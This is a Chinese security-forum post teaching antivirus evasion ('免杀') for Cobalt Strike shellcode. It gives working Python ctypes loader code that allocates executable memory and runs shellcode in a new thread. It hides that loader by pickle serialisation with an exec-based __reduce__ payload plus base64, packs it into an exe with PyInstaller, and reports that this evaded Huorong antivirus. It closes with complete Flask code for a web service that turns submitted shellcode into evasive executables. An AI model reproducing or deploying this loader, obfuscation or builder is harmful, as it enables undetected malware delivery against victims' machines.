安全矩阵

 找回密码
 立即注册
搜索
查看: 2806|回复: 0

帅小伙Tz的shellcode免杀大法

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-20 09:38:45 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-8-20 09:41 编辑

原文链接:帅小伙Tz的shellcode免杀大法

Shellcode反序列化免杀
1
介绍
  •         Shellcode 直接操作寄存器 和函数 是一段可注入的指令 来获得攻击目标的shell
  •         Python序列化 是将一个数据结构转化成一个特殊的序列(特殊的字符串)的过程
反序列化就是将这特殊的序列转化成原来的数据结构的过程
2
Shellcodeloder编写
加载shellcode需要编写shellcode加载器来将shellcode在内存中执行
Shellcodeloder 需要做的事是:申请内存局域 ->将shellcode赋值进去-> 创建线程执行。
在Python中编写shellcodeloder 需要ctypes库(python3是自带的不需要安装)来调用windows系统中的内置函数几个重要的动态链接库 kernel32.dlluser32.dll gdi32.dll msvcrt.dll 我们编写最基础的shellcodeloder的内置函数都在kernel32.dll 中
函数介绍VirtualAllocVirtualAlloc函数申请内存地址
RtlMoveMemoryRtlMoveMemory函数从指定内存中复制内存至另一内存里
CreateThreadCreateThread函数在主线程的基础上创建一个新线程
WaitForSingleObjectWaitForSingleObject函数检测线程的状态
函数的用法及参数 百度百科上有详细的资料 可供参考
Python shellcodeloder 编写
  1. import ctypes

  2. def shellcodeloder(shellcode):

  3. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 //重载函数返回类型 uint64

  4. ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40)) //申请内存区域

  5. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) //将shellcode 赋值到指针里

  6. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))//将 刚才的指针 复制到 申请的内存区域里

  7. hread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) //创建新进程执行

  8. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1)) //检测进程 这里-1 是等待时间 设为负数它就会无限
复制代码

实现shellcode执行在CobaltStike生成一个python的shellcode


拿到一串buf=‘\xfc\x48\x83\xe4\xf0\xe8\......’
将它转化成bytes类型 再转化成bytearray(list数据类型)传入shellcodeloder中执行
3
完整代码
  1. import ctypes

  2. buf= b '\xfc\x48\x83\xe4\xf0\xe8\......’

  3. def shellcodeloder(shellcode):

  4. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 //重载函数返回类型 uint64

  5. ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40)) //申请内存区域

  6. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) //将shellcode 赋值到指针里

  7. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))//将 刚才的指针 复制到 申请的内存区域里

  8. hread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) //创建新进程执行

  9. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1)) //检测进程 这里-1 是等待时间 设为负数它就会无限等待 程序就不会结束

  10. shellcodeloder(bytearray(buf))
复制代码

5
反序列化免杀
免杀原理序列化就像是一次加密 所以就破坏了原本的特征码 因此免杀
反序列化就是解密 从而执行 我们的shellcode
代码实现需要pickle库(python自带无需下载)
我们知道pickle 可以序列化python任意一个数据类型包括一个类
所以我们将上面的shellcodeloder 归为一个类并用exec函数来执行
  1. import pickle,base64,ctypes

  2. class shellcodeloder:

  3.     def __reduce__(self): //__reduce__ 被定义之后,当对象被Pickle时就会被调用

  4.         return (exec,("""

  5. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

  6. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40))

  7. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

  8. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

  9. thread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

  10. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1))""",)) //这里return 必须要元组类型

  11. pickshell = pickle.dumps(shellcodeloder()) //序列化shellcodeloder

  12. basepickshell = base64.b64encode(pickshell) //再加密 base64

  13. print(basepickshell) //得到加密后的字符串

复制代码



然后再将shellcode通过base64加密

加密好后创建新的py文件
将加密好的 复制进去 反序列化后就可以执行了
6
最终代码
  1. import base64,pickle,ctypes

  2. shellcodeloder = b'gASVdQIAAAAAAACMCGJ1aWx0a……' //shellcodeloder加密

  3. baseshellcode = b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSY……' //shellcode加密

  4. shellcode= bytearray(base64.b64decode(baseshellcode)) //解密shellcode此时变量名必须为shellcode

  5. pickle.loads(base64.b64decode(shellcodeloder))//解密shellcodeloder 并执行
复制代码

测试成功上线

Pyinstaller 封装成exe通过pip install pyinstaller 命令安装
pyinstaller -F shellcode.py
最后生成的exe在dist文件夹中

免杀过火绒
7
Flask 编写shellcode在线免杀平台
首先用 pip install flask 命令安装这个库
如果没有学过flask的可以网上找教程 学
流程用户提交CobaltStike生成的shellcode -> 后台服务器接收shellcode 生成反序列化后的py文件-> pyinstaller 封装成exe-> 供用户下载
开始编写首先创建html的模板index.html 放在templates文件夹下
代码如下

Simple simpleverysimple的 html模板
一个form表单
一个变量代码块用来存放提示句
不必多说大家也能理解
  1. from flask import Flask,render_template,request

  2. app = Flask(__name__) //创建Flask实例
  3. @app.route(‘/’,methods=[‘GET’,’POST’]) //装饰器 语法糖。在这里定义路由地址 和请求方式

  4. def index(): //被装饰的函数

  5. if request.method == 'POST': //请求是否为post 因为form提交的方式是post

  6. shellcode = request.form.get('usershellcode') //获取用户提交的shellcode

  7.         if not all([shellcode]): //如果提交的为空则

  8. nn = '赶紧 提交你的shellcode啊 ~!憨批!!

  9.             return render_template('index.html',nn=nn) //重新加载页面 并将nn提示语句插入到html模板中的变量代码块

  10.         elif 'buf' not in shellcode: //如果 buf 没在用户提交的数据内则

  11.             nn = '看 上面 填入的 shellcode 格式啊~! 笨蛋!!'

  12.             return render_template('index.html', nn=nn)

  13.         elif '"' not in shellcode[::-1][0]: //如果 用户提交的shellcode 最后没有双引号则

  14.             nn = 'cao 你的双引号呢???'

  15.             return render_template('index.html', nn=nn)
复制代码

上面的代码 是 获取用户提交的shellcode 并判断是否规范
规范 后面才好继续处理
大坑!!!到这里有个搞了我好久的大坑就是 将 接受到用户传入的shellcode转换成二进制b’string’用 % 将接受到数据的shellcode变量传进去可最后得到的结果不一样
如果用bytes(shellcode,encoding=’UTF-8’)  也是与前两种不一样

如果有大佬知道 这是啥情况的 请告诉我 告诉我 告诉我!!
最终我的解决方法是将 拿到的shellcode 先写入一个py文件中进行base64加密在这个py文件中再去创建一个 最终反序列化的py文件
最终代码实现
  1. import os

  2. with open('shell.py','w') as f:

  3. f.write('import base64\n')

  4.     f.write("shellcode = b'"+shellcode[7:len(shellcode)-1]+"'\n")

  5.     f.write("baseshellcode = base64.b64encode(shellcode)\n")

  6.     f.write('with open('+"'shellcode.py','w'"+') as f:'+'\n')

  7.     f.write('   '+"f.write('import pickle,base64,ctypes \\n')"+'\n')

  8.     f.write('   '+"f.write('shellcode = '+str(baseshellcode)+'\\n')"+'\n')

  9.     f.write('   '+"""f.write('shellcodeloder = b'+"'gASVdQIAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhWAgAACmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksY3R5cGVzLmNfaW50KDB4MTAwMCksY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocHRyKSxidWYsY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSkKdGhyZWFkID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY191aW50NjQocHRyKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQodGhyZWFkKSxjdHlwZXMuY19pbnQoLTEpKQogICAgICAgIJSFlFKULg=='\\n")"""+'\n') //反序列化 再base64加密过的shellcodeloder

  10. f.write('   '+"f.write('shellcode = bytearray(base64.b64decode(shellcode))\\n')"+'\n')

  11. f.write('   '+"f.write('pickle.loads(base64.b64decode(shellcodeloder))\\n')"+'\n')

  12. os.system('python shell.py') //执行第一个创建的 shell.py

  13. os.system('pyinstaller -F shellcode.py') //pyinstaller封装第二个通过 执行shell.py 创建的 shellcode.py


复制代码

文件下载 编写
  1. from flask import send_from_directory

  2. @app.route("/download") //定义下载shellcode.exe的路由地址为ip:端口/download

  3. def download():

  4.     store_path = os.getcwd()+'\\dist' //获取shellcode.exe的路径

  5. return send_from_directory(store_path, 'shellcode.exe', as_attachment=True)
复制代码

之后我们上面 index()函数设返回值为 return redirect("/download") 就是当用户上传完 服务器生成shellcode.exe后页面跳转到 ip:端口/download也就是去下载我们的shellcode.exe
完整代码
  1. from flask import Flask,render_template,request,send_from_directory,redirect
  2. import os
  3. app = Flask(__name__)

  4. @app.route('/',methods=['GET','POST'])
  5. def index():
  6.     if request.method == 'POST':
  7.         shellcode = request.form.get('usershellcode')
  8.         if not all([shellcode]):
  9.             nn = '赶紧 提交你的shellcode啊 ~!憨批!!'
  10.             return render_template('index.html',nn=nn)
  11.         elif 'buf' not in shellcode:
  12.             nn = '看 上面 填入的 shellcode 格式啊~! 笨蛋!!'
  13.             return render_template('index.html', nn=nn)
  14.         elif '"' not in shellcode[::-1][0]:
  15.             nn = 'cao 你的双引号呢???'
  16.             return render_template('index.html', nn=nn)
  17.         else:
  18.             with open('shell.py','w') as f:
  19.                 f.write('import base64\n')
  20.                 f.write("shellcode = b'"+shellcode[7:len(shellcode)-1]+"'\n")
  21.                 f.write("baseshellcode = base64.b64encode(shellcode)\n")
  22.                 f.write('with open('+"'shellcode.py','w'"+') as f:'+'\n')
  23.                 f.write('   '+"f.write('import pickle,base64,ctypes \\n')"+'\n')
  24.                 f.write('   '+"f.write('shellcode = '+str(baseshellcode)+'\\n')"+'\n')
  25.                 f.write('   '+"""f.write('shellcodeloder = b'+"'gASVdQIAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhWAgAACmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksY3R5cGVzLmNfaW50KDB4MTAwMCksY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocHRyKSxidWYsY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSkKdGhyZWFkID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY191aW50NjQocHRyKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQodGhyZWFkKSxjdHlwZXMuY19pbnQoLTEpKQogICAgICAgIJSFlFKULg=='\\n")"""+'\n')
  26.                 f.write('   '+"f.write('shellcode = bytearray(base64.b64decode(shellcode))\\n')"+'\n')
  27.                 f.write('   '+"f.write('pickle.loads(base64.b64decode(shellcodeloder))\\n')"+'\n')
  28.             os.system('python shell.py')
  29.             os.system('pyinstaller -F shellcode.py')
  30.             return redirect("/download")
  31.     return render_template('index.html')
  32. @app.route("/download")
  33. def download():
  34.     store_path = os.getcwd()+'\\dist'
  35.     return send_from_directory(store_path, 'shellcode.exe', as_attachment=True)
  36. app.run()
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:45 , Processed in 0.013228 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表